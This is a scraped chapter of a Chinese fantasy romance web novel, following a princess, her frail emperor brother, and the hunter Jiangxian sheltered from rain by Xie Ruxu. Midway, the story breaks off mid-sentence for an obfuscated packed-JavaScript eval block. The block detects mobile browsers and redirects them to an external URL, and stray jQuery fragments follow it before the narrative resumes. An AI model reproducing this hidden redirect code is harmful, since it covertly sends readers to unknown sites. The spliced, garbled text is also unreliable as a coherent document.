赵袂放在少年发顶的手顿了一顿,随后轻声安抚道:“阿胤听话,吃了药,身体才能好起来。”
“可是,我不想好起来。”少年伸手环住赵袂的腰际,身体仿佛是一只渴求关注的幼鸟,声音却似赌气一般。
因为体弱多病,他头发也有些泛黄。赵袂放下了手,严肃道:“莫要胡说,身体不好起来你如何治国理政,难道要让我帮你一辈子吗?”
“未尝不可。”少年闭上了眼睛,双臂逐渐收紧了些,他近乎偏执地道,“如果身体好起来你就要离开我,那我宁愿这一生都缠绵病榻,永远不要起来才好!”
“赵承胤。”赵袂权当这是孩子气的玩笑话,推开紧紧抱着自己的少年,蹲下身直视他的双眼,“你是天子,是大昭的皇帝,所有的权力都在你手上,所以你说出口的每一句话必须得经过深思熟虑,绝对不能意气用事,这样的话日后不要再说了。”
面对长姐认真的教导,赵承胤垂下眼,轻声道:“权力吗?可我分明和她们说,不要告诉你我没有吃药的……”
闻言,赵袂一愣,赵承胤继续道:“连她们都不听我的话,我真的是皇帝吗?”
“阿胤……”赵袂的眼神中隐忍,半晌才收起情绪,站起身来,轻理着衣袖道:“好了,很晚了,吃了药就会去休息吧。”
赵承胤也没有多说什么,在赵袂的注视下十分乖顺地喝完了药,进入寝殿休息。
确认赵承胤睡下了,赵袂才转身出门。此刻,明璟早在殿外等候多时了,见她来,立刻上前道:“殿下,出事了。”
赵袂俊眉蹙起,变回了那个威严的长公主,沉声问:“什么事?”
“翦星楼被盗了。”
几乎是在话音落下的同时,赵袂脑海中就浮现出了绛仙的模样。她凝眉问:“今晚遇到的那位姑娘,你可知其身份?”
明璟压低声音答道:“回殿下,她正是您要寻的那位妖丹猎手,绛仙。”
赵袂暗舒一口气,思忖片刻对明璟道:“此事全权交由我便好,不必劳烦国师了。”
明璟低眉应:“是。”
离开前,赵袂回头往寝宫内看了一眼,烛火没有熄灭,还能映出守夜宫女的影子。
那孩子害怕黑,害怕一个人,她是知道的。若他生在寻常人家,自己一定会对他万般宠溺,可偏偏他生在了帝王家,可偏偏,他坐上了这皇位,每时每刻都被无数的目光盯着。
她轻叹一口气,抬头看向头顶高悬着的明月。
月光洒下,仿佛为青瓦屋檐镀上了一层清辉。
绛仙路过谢府,借着这抹月光看了片刻,心中有些纠结。
先前说的话似乎有些太满了,再留在谢府肯定是不可能了。现在半夜三更的,汴京的客栈又全部满客,自然没有空房供她住。今晚怕不是要流落街头了?
随后,她又转念一想,之前又不是没在外头睡过?找个老树将就一晚也没什么大不了的。
奈何屋漏偏逢连夜雨,她还没走几步就感到头顶一阵清凉,一抬头,天上竟然幽幽下起了小雨。没等她反应过来,那雨势忽得变大,像是什么人拿盆泼下来的一样,猛得浇了她一身,从头到脚几乎都湿透了。
她咬着牙找了处可以挡雨的屋檐,在台阶处坐下。
雨滴恶狠狠地打在地面上,溅起一个又一个水花,深秋的雨是带着寒气的,这让她不由地打了个寒颤。
她抱着手臂,颇为无奈的靠在身边的圆柱上,看着越来越猛烈的雨势心中愈发确定:汴京,克她!
或许是这些天太过劳累,又或许是这雨声实在助眠,她竟然就这么靠着,悠悠地睡了过去。
不知过了多久,噼里啪啦的雨声变成了一声又一声的闷响,扑面的寒意也被一阵草药的清苦取代。
前一刻还在睡梦中的绛仙呼吸一凝,几乎是在瞬间清醒了过来。
——有人!
她下意识地想要出剑防御,却又发现一丝不对。
来人似乎并没有恶意?
带着疑惑,绛仙睁开眼,缓缓抬起了头。
只见头顶不知何时多了一把油纸伞,而握着油纸伞的人正站在她面前,带着盈盈笑意看着她。
“你来做什么?”绛仙站起身,离谢如许远了些。
“秋雨寒凉,我来接你回去。”谢如许道。
绛仙呛声道:“接我回去?你那个好弟弟没告诉你我都和他说了什么吗?如果不想被牵连至死,最好离我远一点。”
谢如许迈入屋檐之下,侧过伞抖了抖伞上的雨水。
“我来找你和阿恙无关。”谢如许负手立在绛仙身侧一尺处,似乎做好了要长谈的准备。
“那你想做什么?”绛仙拧眉,“你有什么目的?”
她当然知道谢如许的身份不简单,绝不可能只是一个小小的谢府公子,可恨的是她对谢如许的怀疑只能局限于此,再深的信息她挖不出来。
而谢如许明知道她发觉了他身份的不对之处,还偏要在她面前晃悠,这又是什么意思?
于是,她眯起眼,道:“挑衅?”
谢如许眼中闪过一丝惊诧又很快消失,认真解释:“这是示好。”
绛仙一噎,半晌没说出话来。
“你……”她看着谢如许的脸,深思熟虑后才带着关切道,“有病?”她指了指自己的脑袋,几乎要把心里话写脸上了。
除过别有所图,谁会莫名其妙和别人示好?还是在对方冷眼相待的情况下。
谢如许注视着她,仿佛能看穿她此刻的心思。
“虽然我这么说会让你觉得我别有所图,但我还是想告诉你。”他将不再滴水的伞递上,绛仙毫不犹豫地接过了,有便宜不占是傻子。
见她接过了伞,谢如许暗自松了口气,眼中的笑意也更加明显,便继续道:“请你相信我,我绝对不会做出任何于你不利的事情。”
“雨势小很多了,这把伞给你。一场秋雨一场寒,这场雨过之后会更冷的,你淋了雨,再吹了风怕是会染上风寒。”
绛仙本想接了伞直接走了了事,可偏偏又注意到了他还在滴水的发尾和早已湿透的双肩。他是撑着伞来的,应该不会淋湿成这样,怕是方才他站在自己面前替自己挡雨时没有遮住自己。
迎着谢如许眼中的盈盈笑意,绛仙突然觉得自己手中的伞有些烫手。
迈开的步子收了回来,她有些不自在地问:“那你呢?”
谢如许轻笑,温声道:“没关系,我等雨停就好。”
绛仙抬头观察,这雨势虽然是小了,但可完全没有要停的意思。等雨停?怕是要等到猴年马月去!
于是,她利落地把伞往谢如许怀里一塞,道:“你回去吧,你的身份我不会告诉谢如恙的,算两清了,你也不用来试探我。”
谢如许拿着伞有些发愣:“你还是觉得我在试探你?”
绛仙不语,算是默认。
谢如许轻轻叹了口气,“也罢,是我太心急了。那今晚你要住在哪里?”
绛仙随意道:“哪里都行,你不用担心。”
“同我回府如何?”谢如许道。
“不用,说两清就两清,我可不想欠你的情。”绛仙直接拒绝。
谢如许却道:“不,你若是怕欠我的情,可以付钱,就像住客栈一样。”
绛仙心下一动,觉得这也是个好办法。
“绛仙姑娘,走吗?”谢如许打开了伞,雨水打在伞上,砰、砰、砰,一滴又一滴。
不知滴了多少次,绛仙才点头:“好吧,我付钱。”
谢如许抬手将伞遮在两人头顶,雨水顺着伞骨滑落,连成一条线。
雨水的湿润中夹杂了阵阵的草药的香气,绛仙忍不住开始打量起谢如许来。
衣袂飘飘,如天明明欲曙,身形修长,如高山积雪,玉清雪瘦。
“你究竟想干什么?”绛仙不由问出声。
谢如许轻笑:“总有一天,你会明白的。”
“莫名其妙。”绛仙嘟囔一声,然后背起手,以免和对方产生什么不必要的肢体接触。
次日一早,雨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500727|170330||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
已经停了,只是空气中还飘着丝丝薄雾,如细烟一般。
绛仙走出门,一眼就看到了从门口跑过的长徽,只是对方好像并没有看到自己。
于是,她好奇地往前走了几步,很快又一阵拖拖拉拉稀稀疏疏的脚步声响起,与此同时还伴随着一阵急促的喘气声。
她心下奇怪:谢如恙?
隔了好一会儿,谢如恙才喘着粗气停在院门前,他气喘吁吁的扶着墙,额头上渗出一层汗。
“跑不动了,真的跑不动了……”
谢如恙一连做了好几个深呼吸,可还是没有缓解,仿佛下一瞬就能两眼一翻撅过去。
绛仙奇了,凑近问:“你这是……”
谢如恙被突如其来的声音吓了一跳,原本就紊乱的气息更难控制了。绛仙看不下去,只好伸手帮他顺气,等他能完整说出一句话后才收回手。
早已跑远的长徽久久没有看到谢如恙跟上,便也退了回来,看到绛仙后认认真真对着她点了个头,算是问好。
然后对谢如恙无情道:“还有五圈。”
谢如恙大叫一声,瘫坐在地,连连摆手道:“不跑了,真的不跑了,我休息一会儿,你先跑。”
长徽低头看着他,眼中带了些无奈,仿佛是一位恨铁不成钢的教书先生。
绛仙疑惑发问:“你们这是……晨练?”
长徽点头,“是,昨夜回来时谢公子说想和我学些招式自保,我看他身体太弱便想着先练练体能。”
绛仙嘴角抽了抽,“所以大早上起来就要跑步?”
“没错,一日之计在于晨。”长徽继续看向谢如恙,劝说道,“谢公子,练武需要坚持,不可半途而废。”
谢如恙像是变成了一摊泥,死死贴着墙壁不松开。为了防止长徽来硬的,赶忙转移话题:“对了,阿绛你怎么回来了?”
绛仙眼神微微躲闪,佯装随意:“昨天晚上偶然遇到了你哥,他说可以让我留宿一晚,我给钱就行。”
谢如恙佝偻着站了起来,一副不满意自家兄长作为的样子,道:“住一晚而已,怎么能收你钱呢?”
绛仙刚想说是自己要给钱的,谢如恙就一拍脑袋:“昨夜不是下雨了吗?稀里哗啦的,我哥出去干什么?”
“不知道,散步吧。”绛仙下意识地给了他一个模糊的答案,但很快就意识到哪里不对劲。
听谢如许的意思,昨夜他是刻意来找自己的,可问题是,他是怎么知道自己的位置的?汴京城这么大,他怎么就刚好能找到自己呢?
妖气?可她身上的妖气没有人能感受的到,她也不认为谢如许就是那个例外,那还有什么?
绛仙心下一沉,不由怀疑谢如许会不会是在自己身上留了什么能确定位置的东西。
想到这里,她对谢如许刚刚建立没多久的一丝信任再一次土崩瓦解。
“阿绛姑娘,你怎么了?”长徽见绛仙脸色有变,关切问道。
绛仙敛眸,语气有些冰冷:“没什么。”
“有!”谢如恙猛得一声让其余两人都朝他看去,他担忧道,“昨夜那么冷,我哥身体又不好,淋了雨吹了风生病了怎么办?不行,我得先去看看。长徽兄,今日就先不练了。”
长徽一时无法确定他是真的担心谢如许还是想借着谢如许的名义逃避今日的训练。
“阿绛姑娘也要过去吗?”
绛仙挑眉:“当然要去。”
她倒要看看,这个谢如许葫芦里究竟卖的什么药,以及是不是真的在自己身上留了什么东西。
两人跟着谢如恙还没到谢如许院前,就被一个着急忙慌的小厮截住。
谢如恙差点被扑倒,稳住那小厮的身形后,问:“这是怎么了?急成这样?”
小厮吞了吞口水,看样子是发生了什么不得了的事情。
他压低声音,结巴道:“长公主……长公主殿下来了……”
“什么?!”谢如恙惊呼一声,下意识看向绛仙。
绛仙则是心头一跳,看样子该来的还是来了。